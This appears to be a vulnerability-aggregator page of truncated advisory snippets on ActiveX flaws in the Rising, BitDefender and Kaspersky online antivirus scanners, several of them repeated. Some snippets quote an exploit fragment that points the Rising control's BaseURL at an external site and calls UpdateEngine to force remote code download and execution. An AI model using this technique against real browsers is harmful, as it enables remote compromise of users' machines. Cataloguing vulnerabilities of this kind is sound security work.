CVE-2008-1116: Undefined Security Weakness

Insecure method vulnerability in the Web Scan Object ActiveX control OL2005.dll in Rising Antivirus Online Scanner allows remote attackers to force the download and execution of arbitrary code by setting the BaseURL property and invoking the UpdateEngine method. NOTE: some of these details are...

Rising Antivirus Online Scanner Insecure Method Flaw Exploit

No description provided by source. !-- - Rising is a popular anti-virus product around China. - there's an insecure method flaw inside its free online scanner. - it's quite easy to exploit the bug which leads to a remote execution...

rising-insecure.txt

Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button...

Rising Antivirus Online Scanner Insecure Method Flaw Exploit

Exploit for unknown platform in category remote exploits ============================================================ Rising Antivirus Online Scanner Insecure Method Flaw Exploit ============================================================ Rising Online Scanner Insecure Method Vulnerability...

Rising AntiVirus Online Scanner - Insecure Method Flaw

Rising AntiVirus Online Scanner - Insecure Method Flaw Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button milw0rm.com 2008-02-25...

Rising AntiVirus Online Scanner - Insecure Method Flaw

Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button milw0rm.com 2008-02-25...

BitDefender Online Scanner 8 ActiveX Heap Overflow Exploit

No description provided by source. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- BitDefender OScan8.ocx / Oscan81.ocx ActiveX Exploit =-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=- http://research.eeye.com/html/advisories/published/AD20071120.html...

BitDefender Online Scanner 8 ActiveX Heap Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================== BitDefender Online Scanner 8 ActiveX Heap Overflow Exploit ==========================================================...

BitDefender Online Scanner 8 - ActiveX Heap Overflow

BitDefender Online Scanner 8 - ActiveX Heap Overflow =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- BitDefender OScan8.ocx / Oscan81.ocx ActiveX Exploit =-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-...

BitDefender Online Anti-Virus Scanner ActiveX OScan8.ocx / OScan8.ocx InitX Method Arbitrary Code Execution

The remote host contains the 'BDSCANONLINE' ActiveX control, used by the BitDefender Online Scanner, a web-based virus scanner. The version of this control installed on the remote host fails to properly validate Unicode values passed to the 'InitX' function as a domain key. If a remote attacker c...

BitDefender Online Scanner 8 - ActiveX Heap Overflow

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- BitDefender OScan8.ocx / Oscan81.ocx ActiveX Exploit =-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=- http://research.eeye.com/html/advisories/published/AD20071120.html http://secunia.com/advisories/27717...

BitDefender在线扫描器OScan.OCX ActiveX控件堆溢出漏洞

BUGTRAQ ID: 26210 CVECAN ID: CVE-2007-5775 BitDefender Online Scanner是一款免费的在线杀毒软件。 BitDefender在线扫描器所捆绑的OScan.ocx控件中存在远程代码执行漏洞，远程攻击者可能利用此漏洞在用户系统上执行任意指令。 OScan.ocx的有漏洞函数为InitX，该函数取得了bstrLocation的字符串参数值用于确认调用域。InitX的IDL类似于以下： Function InitX ByVal bstrLocation as String As Boolean...

Heap overflow

Multiple format string vulnerabilities in the kavwebscan.CKAVWebScan ActiveX control kavwebscan.dll in Kaspersky Online Scanner before 5.0.98 allow remote attackers to execute arbitrary code via format string specifiers in "various string formatting functions," which trigger heap-based buffer...

CVE-2007-3675

Multiple format string vulnerabilities in the kavwebscan.CKAVWebScan ActiveX control kavwebscan.dll in Kaspersky Online Scanner before 5.0.98 allow remote attackers to execute arbitrary code via format string specifiers in "various string formatting functions," which trigger heap-based buffer...

CVE-2007-3675

Multiple format string vulnerabilities in the kavwebscan.CKAVWebScan ActiveX control kavwebscan.dll in Kaspersky Online Scanner before 5.0.98 allow remote attackers to execute arbitrary code via format string specifiers in "various string formatting functions," which trigger heap-based buffer...

CVE-2007-3675

CVE-2007-3675 concerns the kavwebscan.CKAVWebScan ActiveX control (kavwebscan.dll) used by Kaspersky Online Scanner. Public records state that this ActiveX contains a format string vulnerability in multiple string formatting functions, which can trigger a heap-based buffer overflow and allow remo...

Kaspersky Online Scanner kavwebscan.dll控件远程格式串漏洞

BUGTRAQ ID: 26004 CVECAN ID: CVE-2007-3675 Kaspersky Online Scanner是免费的在线病毒扫描服务，允许用户通过Web浏览器扫描恶意代码。 Kaspersky Online Scanner所带的ActiveX控件实现上存在格式串处理漏洞，远程攻击者可能利用此漏洞控制客户端系统。 Kaspersky Online Scanner所安装的以下在线病毒扫描ActiveX控件： ProgID：kavwebscan.CKAVWebScan ClassID：0EB0E74A-2A76-4AB3-A7FB-9BD8C29F7F75...

CVE-2007-3675: Use of Externally-Controlled Format String

Multiple format string vulnerabilities in the kavwebscan.CKAVWebScan ActiveX control kavwebscan.dll in Kaspersky Online Scanner before 5.0.98 allow remote attackers to execute arbitrary code via format string specifiers in "various string formatting functions," which trigger heap-based buffer...

Kasrpsrsky Online Scanner ActiveX format string security vulnerability

Multiple format string vulnerabilities...

Kaspersky Online Scanner kavwebscan.CKAVWebScan ActiveX (kavwebscan.dll) Format String Arbitrary Code Execution

The remote host contains the Kaspersky Online Scanner, an online virus scanner for Windows. The version of the Kaspersky Web Scanner ActiveX control installed as part of this software on the remote host contains a format string vulnerability. By tricking a user on the affected host into visiting ...